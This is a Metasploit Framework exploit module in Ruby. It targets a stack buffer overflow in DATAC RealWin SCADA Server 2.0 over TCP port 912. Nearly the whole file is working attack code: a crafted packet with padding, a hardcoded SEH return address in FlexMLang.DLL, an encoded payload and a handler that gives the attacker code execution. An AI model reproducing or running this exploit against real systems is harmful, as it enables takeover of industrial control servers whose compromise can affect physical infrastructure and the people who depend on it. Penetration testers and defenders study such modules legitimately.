##
# $Id: realwin_scpc_initialize.rb 10734 2010-10-18 21:20:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DATAC RealWin SCADA Server SCPC_SCPC_INITIALIZE Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in DATAC Control
        International RealWin SCADA Server 2.0 (Build 6.1.8.10).
        By sending a specially crafted packet, an attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'Luigi Auriemma', 'MC' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 10734 $',
      'References'     =>
        [
          [ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 550,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Universal', { 'Ret' => 0x4002da21 } ], # FlexMLang.DLL 8.1.45.19
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Oct 15 2010'))

    register_options([Opt::RPORT(912)], self.class)
  end

  def exploit

    connect

    data =  [0x6a541264].pack('V')
    data << [0x00000002].pack('V')
    data << [0x00001ff4].pack('V')
    data << "\xff\x7f"
    data << rand_text_alpha_upper(226)
    data << generate_seh_payload(target.ret)
    data << rand_text_alpha_upper(10024 - payload.encoded.length)
    data << "\x00"  

    print_status("Trying target #{target.name}...")
    sock.put(data)

    handler
    disconnect

  end

end